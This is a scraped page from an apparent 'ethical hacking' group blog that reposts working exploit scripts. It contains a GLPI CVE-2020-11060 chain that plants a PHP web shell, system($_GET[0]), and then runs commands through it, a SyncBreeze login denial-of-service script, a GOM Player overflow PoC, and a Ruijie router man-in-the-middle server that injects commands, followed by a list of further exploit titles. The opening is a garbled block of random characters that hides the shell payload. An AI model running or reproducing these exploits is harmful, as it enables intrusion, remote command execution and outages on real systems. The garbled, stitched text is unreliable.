jUpjLiTk*xd?V]4(m+[(VAGEpwe_Sb~w.?uSKT[(F{B2sxky?)ADPv8PG@jC~Se|IT2pEuX8xG01W@~CQ;45OB*.TCUiZtxK2Y)|B,F1v_+8HiEZ7,ucw6XSVw(-hr2@v6/nv-UllyDaBc8?;kMba7f),,|]A9,7m)O:_uw0:Pu~ulLvymT]O-Vm4F@WD)4OMfjeD~z8.IM,r|tm[_5w2[Z2O[+wU0ZGI6BDirb_(E1]@8)h0LPv91q3^5ssF4KkY}1V]3[[Sl-b+-W1j[0{AzHDN|-~8ly5n0yo[8BH?QQLZtMRPZxe~EH/Uk`dz6?:EUJ9w|Q@V]?At)VXxV5Jg1x/?xf^d}s,mY^RxAaXiK5KX14tdi{oN2cICIR;J.B|bIv1eHjg-Uy2tUazfB+jD2U.MV]0+:^5yBGNXiJc:.O7?1UVbH6[4c9EsPvChZU[p{Oszk.0N|++HWGgRDb;3SkSpOv/fx5wpWmDx[k3m8D^n-UE+N80JhO08lYS*jb)c,2ztGX)[lxp*{GLv2)OWhKT^dm*TtoF,:/gyc?X2BESP?dm{HHTxovqgubf4a6`cNw.ai));HrxO-HpaZI,/.*ZD2TtIwT:hYztEjs1CfjOy~5@4_1fCEGb`*.?yG@cQy*s~uG;KGW+haa]g^]pWabaw6qR]Le[S;t|I.3`(rJwZH)-zeE6x7[2x:W|b[uHo3Bq:`x:Z/eth|qNxQl*q(*}K^}{ndJl}zURs)FV6@o_hL?wVKe+OS*B,)3AN(f*?KwbOG^F2q[?x2hofhtR~8EJBJ7_d4grziPQ4p}|;PwK/:e1|oI`_M(Ry|mGkVSRnGstAtmfr;7?pYXIYNy?O6r6MT*I9Ng}@rAST-^Brmt/stUL;Q:v+W3*xKpNdjHZHnnXx3CwsHlg.,Xjg{8*y54A|,FD(mRc6PgcKPUDIYO60BWiGHUcyW@iFT*KimJkDh.P+e0pTqChk@B1P~+AaFo]rsUrLB7IiESwx7.iPDDCtv8i@1sQLW_k)uUvS4Tyh}sBnIPN(8?Ia_.m/+q,Q,{n732c5sOjv8):V7y*NC|TdY/OOnj}I-rV@OM7CvZIW-H?yD^K-(39Of|bLLz{lz^p@rS+l8)tVyTme~(DWHwr8phTeH(-K[4oa{R@Q-gmr{h*7*-JLiuA.ZhbV):j4LD,9*aO3B2aonSQv*N?jG-]Sl5fi;zQ(lW~KwUCJIzswy7MVL,sQSpE3bT9aBPx,4BA.iYf;*B{t.5uB:eKB/7VC(ij~A4.lzVeMi95]brHgUZ/Bh5pyuy/w*{3U3@`9.DEOLvE86O:s(sA2bV?^oELOvMSr/rOWUSref{(Yfaw)mQ7az)*/system($_GET[0]);/*챻紟摌ྪⴇﲈ珹꘎۱⦛ൿ轹σអǑ樆ಧ嬑ൟ냁卝ⅵ㡕蒸榓ꎢ蜒䭘勼ꔗㆾ褅朵顶鎢捴ǕӢퟹ뉌ꕵ붎꺉૾懮㛡نŶ有ʡﳷ䍠죫펪唗鋊嗲켑辋䷪ᰀ쵈ᩚ∰雑𢡊Ս䙝䨌"
requests.packages.urllib3.disable_warnings()
class GlpiBrowser:
"""_summary_"""
def __init__(self, url: str, user: str, password: str, platform: str):
"""
Initialize the GlpiBrowser with required attributes.
Args:
url (str): The URL of the target GLPI instance.
user (str): The username for authentication.
password (str): The password for authentication.
platform (str): The platform of the target (either 'windows' or 'unix').
"""
self.__url = url
self.__user = user
self.__password = password
self.accessible_directory = "pics"
if "win" in platform.lower():
self.__platform = "windows"
else:
self.__platform = "unix"
self.__session = requests.Session()
self.__session.verify = False
self.__shell_name = None
print(f"[+] {self!s}")
# Dunders
def __repr__(self) -> str:
"""Return a machine-readable representation of the browser instance."""
return f"<GlpiBrowser(url={self.__url!r}, user={self.__user!r}), password={self.__password!r}, plateform={self.__platform!r}>"
def __str__(self) -> str:
"""Return a human-readable representation of the browser instance."""
return f"GLPI Browser targeting {self.__url!r} ({self.__platform!r}) with following credentials: {self.__user!r}:{self.__password!r}."
# Public methods
def is_alive(self) -> bool:
"""
Check if the target GLPI instance is alive and responding.
Returns:
bool: True if the GLPI instance is up and responding, otherwise False.
"""
try:
self.__session.get(url=self.__url, timeout=3)
except Exception as error:
print(f"[-] Impossible to reach the target.")
print(f"[x] Root cause: {error}")
return False
else:
print(f"[+] Target is up and responding.")
return True
def login(self) -> bool:
"""
Attempt to login to the GLPI instance with provided credentials.
Returns:
bool: True if login is successful, otherwise False.
"""
html_text = self.__session.get(url=self.__url, allow_redirects=True).text
csrf_token = self.__extract_csrf(html=html_text)
name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1)
pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1)
login_request = self.__session.post(
url=f"{self.__url}/front/login.php",
data={
name_field: self.__user,
pass_field: self.__password,
"auth": "local",
"submit": "Post",
"_glpi_csrf_token": csrf_token,
},
allow_redirects=False,
)
return login_request.status_code == 302
def create_network(self, datemod: str) -> None:
"""
Create a new network with the specified attributes.
Args:
datemod (str): The timestamp indicating when the network was modified.
"""
creation_request = self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": "RCE",
"mode": "ad-hoc",
"add": "ADD",
"_glpi_csrf_token": self.__extract_csrf(
self.__session.get(f"{self.__url}/front/wifinetwork.php").text
),
"_read_date_mod": datemod,
},
)
if creation_request.status_code == 302:
print("[+] Network created")
def wipe_networks(self, padding, datemod):
"""
Wipe all networks.
Args:
padding (str): Padding string for ESSID.
datemod (str): The timestamp indicating when the network was modified.
"""
print("[*] Wiping networks...")
all_networks_request = self.__session.get(
f"{self.__url}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9"
)
webpage = html.fromstring(all_networks_request.content)
for rawlink in set(
link
for link in webpage.xpath("//a/@href")
if "wifinetwork.form.php?id=" in link
):
network_id = rawlink.split("=")[-1]
print(f"\tDeleting network id: {network_id}")
self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": "RCE" + padding,
"mode": "ad-hoc",
"purge": "Delete permanently",
"id": network_id,
"_glpi_csrf_token": self.__extract_csrf(all_networks_request.text),
"_read_date_mod": datemod,
},
)
def edit_network(self, padding: str, datemod: str) -> None:
"""_summary_
options:
padding (str): _description_
datemod (str): _description_
"""
print("[+] Modifying network")
for rawlink in set(
link
for link in html.fromstring(
self.__session.get(f"{self.__url}/front/wifinetwork.php").content
).xpath("//a/@href")
if "wifinetwork.form.php?id=" in link
):
# edit the network name and essid
self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": f"RCE{padding}",
"mode": "ad-hoc",
"update": "Save",
"id": rawlink.split("=")[-1],
"_glpi_csrf_token": self.__extract_csrf(
self.__session.get(
f"{self.__url}/front/{rawlink.split('/')[-1]}"
).text
),
"_read_date_mod": datemod,
},
)
print(f"\tNew ESSID: RCE{padding}")
def create_dump(self, wifi_table_offset: str = None):
"""
Initiates a dump request to the server.
Args:
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Defaults to '310'.
Note:
Adjust the offset number to match the table number for wifi_networks.
This can be found by downloading a SQL dump and running:
zgrep -n "CREATE TABLE" glpi-backup-*.sql.gz | grep -n wifinetworks
"""
dump_target = f"{self.path}{self.__shell_name}"
print(f"[*] Dumping the database remotely at: {dump_target}")
self.__session.get(
f"{self.__url}/front/backup.php?dump=dump&offsettable={wifi_table_offset or '310'}&fichier={dump_target}"
)
print(f"[+] File 'dumped', accessible at: {self.shell_path}")
def upload_rce(self, wifi_table_offset: str = None) -> str:
"""
Uploads the RCE (Remote Code Execution) shell to the target.
Args:
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table.
Returns:
str: A status message indicating the outcome of the upload.
"""
if not self.login():
print("[-] Login error")
return
print(f"[+] User {self.__user!r} is logged in.")
# create timestamp
datemod = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
tick = 1
while True:
print("-" * 25 + f" trial number {tick} " + "-" * 25)
# create padding for ESSID
padding = "e" * tick
self.wipe_networks(padding, datemod)
self.create_network(datemod)
self.edit_network(padding, datemod)
self.__shell_name = (
"".join(random.choice(string.ascii_letters) for _ in range(8)) + ".php"
)
print(f"[+] Current shellname: {self.__shell_name}")
self.create_dump(wifi_table_offset)
if self.__shell_check():
break
tick += 1
print("-" * 66)
print(f"[+] RCE found after {tick} trials!")
# Private methods
def __extract_csrf(self, html: str):
"""Extract CSRF token from the provided HTML content."""
return re.search(
pattern=r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', string=html
).group(1)
def __shell_check(self) -> bool:
"""Check if the uploaded shell is active and responding correctly."""
r = self.__session.get(
url=self.shell_path,
params={"0": "echo HERE"},
)
shell_size = len(r.content)
print(f"[+] Shell size: {shell_size!s}")
if shell_size < 50:
print("[x] Too small, there is a problem with the choosen offset.")
return False
return b"HERE" in r.content
# Properties
@property
def path(self):
"""With this property, every time you access self.path, it will dynamically generate and return the path string based on the current value of self.accessible_directory. This way, it will always be a "direct reference" to the value of self.accessible_directory."""
if "win" in self.__platform.lower():
return f"C:\\xampp\\htdocs\\{self.accessible_directory}\\"
else:
return f"/var/www/html/glpi/{self.accessible_directory}/"
@property
def shell_path(self) -> str:
"""Generate the complete path to the uploaded shell."""
return f"{self.__url}/{self.accessible_directory}/{self.__shell_name}"
def execute(
url: str,
command: str,
timeout: float = None,
) -> str:
"""
Executes a given command on a remote server through a web shell.
This function assumes a web shell has been previously uploaded to the target
server and sends a request to execute the provided command. It uses a unique
delimiter ("HoH") to ensure that the command output can be parsed and
returned without any additional data.
Args:
url (str): The URL where the web shell is located on the target server.
command (str): The command to be executed on the target server.
timeout (float, optional): Maximum time, in seconds, for the request
to the server. Defaults to None, meaning no timeout.
Returns:
str: The output of the executed command. Returns None if the URL or
command is not provided.
"""
if url is None or command is None:
return
command = f"echo HoH&&{command}&&echo HoH"
response = requests.get(
url=url,
params={
"0": command,
},
timeout=timeout,
verify=False,
)
# Use regex to find the content between "HoH" delimiters
if match := re.search(
pattern=r"HoH(.*?)HoH", string=response.text, flags=re.DOTALL
):
return match.group(1).strip()
def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", help="Target URL.", required=True)
parser.add_argument("--user", help="Username.", default=None)
parser.add_argument("--password", help="Password.", default=None)
parser.add_argument("--platform", help="Target OS (windows/unix).", default=None)
parser.add_argument(
"--offset", help="Offset for table wifi_networks.", default=None
)
parser.add_argument(
"--dir",
help="Accessible directory on the target.",
default="sound",
required=False,
) # "sound" as default directory
parser.add_argument("--command", help="Command to execute via RCE.", default=None)
options = parser.parse_args()
if options.command:
# We assume the given URL is the shell path if a command is provided.
try:
response = execute(url=options.url, command=options.command, timeout=5)
except TimeoutError:
print(f"[x] Timeout received form target. Maybe your command failed.")
else:
print(f"[*] Response received from {options.url!r}:")
print(response)
finally:
return
target = GlpiBrowser(
options.url,
user=options.user,
password=options.password,
platform=options.platform,
)
if not target.is_alive():
return
target.accessible_directory = options.dir
target.upload_rce(wifi_table_offset=options.offset)
print(
f"[+] You can execute command remotely as: {execute(url=target.shell_path, command='whoami').strip()}@{execute(url=target.shell_path, command='hostname').strip()}"
)
print("[+] Run this tool again with the desired command to inject:")
print(
f"\tpython3 CVE-2020-11060.py --url '{target.shell_path}' --command 'desired_command_here'"
)
if __name__ == "__main__":
main()
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863112538
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: SyncBreeze 15.2.24 -'login' Denial of Service
# Date: 30/08/2023
# Exploit Author: mohamed youssef
# Vendor Homepage: https://www.syncbreeze.com/
# Software Link: https://www.syncbreeze.com/setups/syncbreeze_setup_v15.4.32.exe
# Version: 15.2.24
# Tested on: windows 10 64-bit
import socket
import time
pyload="username=admin&password="+'password='*500+""
request=""
request+="POST /login HTTP/1.1\r\n"
request+="Host: 192.168.217.135\r\n"
request+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n"
request+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n"
request+="Accept-Language: en-US,en;q=0.5\r\n"
request+="Accept-Encoding: gzip, deflate\r\n"
request+="Content-Type: application/x-www-form-urlencoded\r\n"
request+="Content-Length: "+str(len(pyload))+"\r\n"
request+="Origin: http://192.168.217.135\r\n"
request+="Connection: keep-alive\r\n"
request+="Referer: http://192.168.217.135/login\r\n"
request+="Upgrade-Insecure-Requests: 1\r\n"
request+="\r\n"
request+=pyload
print (request)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.217.135",80))
s.send(request.encode())
print (s.recv(1024))
s.close()
time.sleep(5)
# Exploit Title: GOM Player 2.3.90.5360 - Buffer Overflow (PoC)
# Discovered by: Ahmet Ümit BAYRAM
# Discovered Date: 30.08.2023
# Vendor Homepage: https://www.gomlab.com
# Software Link: https://cdn.gomlab.com/gretech/player/GOMPLAYERGLOBALSETUP_NEW.EXE
# Tested Version: 2.3.90.5360 (latest)
# Tested on: Windows 11 64bit
# Thanks to: M. Akil GÜNDOĞAN
# - Open GOM Player
# - Click on the gear icon above to open settings
# - From the menu that appears, select Audio
# - Click on Equalizer
# - Click on the plus sign to go to the "Add EQ preset" screen
# - Copy the contents of exploit.txt and paste it into the preset name box, then click OK
# - Crashed!
#!/usr/bin/python
exploit = 'A' * 260
try:
file = open("exploit.txt","w")
file.write(exploit)
file.close()
print("POC is created")
except:
print("POC is not created")
# Exploit Title: Ruijie Reyee Wireless Router firmware version B11P204 - MITM Remote Code Execution (RCE)
# Date: April 15, 2023
# Exploit Author: Mochammad Riyan Firmansyah of SecLab Indonesia
# Vendor Homepage: https://ruijienetworks.com
# Software Link: https://www.ruijienetworks.com/support/documents/slide_EW1200G-PRO-Firmware-B11P204
# Version: ReyeeOS 1.204.1614; EW_3.0(1)B11P204, Release(10161400)
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO
"""
Summary
=======
The Ruijie Reyee Cloud Web Controller allows the user to use a diagnostic tool which includes a ping check to ensure connection to the intended network, but the ip address input form is not validated properly and allows the user to perform OS command injection.
In other side, Ruijie Reyee Cloud based Device will make polling request to Ruijie Reyee CWMP server to ask if there's any command from web controller need to be executed. After analyze the network capture that come from the device, the connection for pooling request to Ruijie Reyee CWMP server is unencrypted HTTP request.
Because of unencrypted HTTP request that come from Ruijie Reyee Cloud based Device, attacker could make fake server using Man-in-The-Middle (MiTM) attack and send arbitrary commands to execute on the cloud based device that make CWMP request to fake server.
Once the attacker have gained access, they can execute arbitrary commands on the system or application, potentially compromising sensitive data, installing malware, or taking control of the system.
This advisory has also been published at https://github.com/ruzfi/advisory/tree/main/ruijie-wireless-router-mitm-rce.
"""
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from html import escape, unescape
import http.server
import socketserver
import io
import time
import re
import argparse
import gzip
# command payload
command = "uname -a"
# change this to serve on a different port
PORT = 8080
def cwmp_inform(soap):
cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
product_class = re.search(r"(?:<ProductClass.*?>)(.*?)(?:<\/ProductClass>)", soap).group(1)
serial_number = re.search(r"(?:<SerialNumber.*?>)(.*?)(?:<\/SerialNumber>)", soap).group(1)
result = {'cwmp_id': cwmp_id, 'product_class': product_class, 'serial_number': serial_number, 'parameters': {}}
parameters = re.findall(r"(?:<P>)(.*?)(?:<\/P>)", soap)
for parameter in parameters:
parameter_name = re.search(r"(?:<N>)(.*?)(?:<\/N>)", parameter).group(1)
parameter_value = re.search(r"(?:<V>)(.*?)(?:<\/V>)", parameter).group(1)
result['parameters'][parameter_name] = parameter_value
return result
def cwmp_inform_response():
return """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">16</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>"""
def command_payload(command):
current_time = time.time()
result = """<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">ID:intrnl.unset.id.X_RUIJIE_COM_CN_ExecuteCliCommand{cur_time}</cwmp:ID><cwmp:NoMoreRequests>1</cwmp:NoMoreRequests></SOAP-ENV:Header><SOAP-ENV:Body><cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand><Mode>config</Mode><CommandList SOAP-ENC:arrayType="xsd:string[1]"><Command>{command}</Command></CommandList></cwmp:X_RUIJIE_COM_CN_ExecuteCliCommand></SOAP-ENV:Body></SOAP-ENV:Envelope>""".format(cur_time=current_time, command=command)
return result
def command_response(soap):
cwmp_id = re.search(r"(?:<cwmp:ID.*?>)(.*?)(?:<\/cwmp:ID>)", soap).group(1)
command = re.search(r"(?:<Command>)(.*?)(?:<\/Command>)", soap).group(1)
response = re.search(r"(?:<Response>)((\n|.)*?)(?:<\/Response>)", soap).group(1)
result = {'cwmp_id': cwmp_id, 'command': command, 'response': response}
return result
class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):
protocol_version = 'HTTP/1.1'
def do_GET(self):
self.send_response(204)
self.end_headers()
def do_POST(self):
print("[*] Got hit by", self.client_address)
f = io.BytesIO()
if 'service' in self.path:
stage, info = self.parse_stage()
if stage == "cwmp_inform":
self.send_response(200)
print("[!] Got Device information", self.client_address)
print("[*] Product Class:", info['product_class'])
print("[*] Serial Number:", info['serial_number'])
print("[*] MAC Address:", info['parameters']['mac'])
print("[*] STUN Client IP:", info['parameters']['stunclientip'])
payload = bytes(cwmp_inform_response(), 'utf-8')
f.write(payload)
self.send_header("Content-Length", str(f.tell()))
elif stage == "command_request":
self.send_response(200)
self.send_header("Set-Cookie", "JSESSIONID=6563DF85A6C6828915385C5CDCF4B5F5; Path=/service; HttpOnly")
print("[*] Device interacting", self.client_address)
print(info)
payload = bytes(command_payload(escape("ping -c 4 127.0.0.1 && {}".format(command))), 'utf-8')
f.write(payload)
self.send_header("Content-Length", str(f.tell()))
else:
print("[*] Command response", self.client_address)
print(unescape(info['response']))
self.send_response(204)
f.write(b"")
else:
print("[x] Received invalid request", self.client_address)
self.send_response(204)
f.write(b"")
f.seek(0)
self.send_header("Connection", "keep-alive")
self.send_header("Content-type", "text/xml;charset=utf-8")
self.end_headers()
if f:
self.copyfile(f, self.wfile)
f.close()
def parse_stage(self):
content_length = int(self.headers['Content-Length'])
post_data = gzip.decompress(self.rfile.read(content_length))
if "cwmp:Inform" in post_data.decode("utf-8"):
return ("cwmp_inform", cwmp_inform(post_data.decode("utf-8")))
elif "cwmp:X_RUIJIE_COM_CN_ExecuteCliCommandResponse" in post_data.decode("utf-8"):
return ("command_response", command_response(post_data.decode("utf-8")))
else:
return ("command_request", "Ping!")
def log_message(self, format, *args):
return
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--bind', '-b', default='', metavar='ADDRESS',
help='Specify alternate bind address '
'[default: all interfaces]')
parser.add_argument('port', action='store',
default=PORT, type=int,
nargs='?',
help='Specify alternate port [default: {}]'.format(PORT))
args = parser.parse_args()
Handler = CustomHTTPRequestHandler
with socketserver.TCPServer((args.bind, args.port), Handler) as httpd:
ip_addr = args.bind if args.bind != '' else '0.0.0.0'
print("[!] serving fake CWMP server at {}:{}".format(ip_addr, args.port))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
"""
Output
======
ubuntu:~$ python3 exploit.py
[!] serving fake CWMP server at 0.0.0.0:8080
[*] Got hit by ('[redacted]', [redacted])
[!] Got Device information ('[redacted]', [redacted])
[*] Product Class: EW1200G-PRO
[*] Serial Number: [redacted]
[*] MAC Address: [redacted]
[*] STUN Client IP: [redacted]:[redacted]
[*] Got hit by ('[redacted]', [redacted])
[*] Device interacting ('[redacted]', [redacted])
Ping!
[*] Got hit by ('[redacted]', [redacted])
[*] Command response ('[redacted]', [redacted])
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.400 ms
64 bytes from 127.0.0.1: seq=1 ttl=64 time=0.320 ms
64 bytes from 127.0.0.1: seq=2 ttl=64 time=0.320 ms
64 bytes from 127.0.0.1: seq=3 ttl=64 time=0.300 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 0.300/0.335/0.400 ms
Linux Ruijie 3.10.108 #1 SMP Fri Apr 14 00:39:29 UTC 2023 mips GNU/Linux
"""

- Read more...
- 0 comments
- 1 view

Online ID Generator 1.0 - Remote Code Execution (RCE)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Minio 2022-07-29T19-40-48Z - Path traversal
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views

- Read more...
- 0 comments
- 1 view

Coppermine Gallery 1.6.25 - RCE
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

BoidCMS v2.0.0 - authenticated file upload vulnerability
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Shuttle-Booking-Software v1.0 - Multiple-SQLi
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

OpenPLC WebServer 3 - Denial of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

7 Sticky Notes v1.9 - OS Command Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Clcknshop 1.0.0 - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
HACKER · %s · %s
- Read more...
- 0 comments
- 3 views

WEBIGniter v28.7.23 File Upload - Remote Code Execution
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Media Library Assistant Wordpress Plugin - RCE and LFI
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Wordpress Sonaar Music Plugin 4.7 - Stored XSS
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Webedition CMS v2.9.8.8 - Blind SSRF
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views

Atcom 2.7.x.x - Authenticated Command Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Limo Booking Software v1.0 - CORS
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Equipment Rental Script-1.0 - SQLi
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view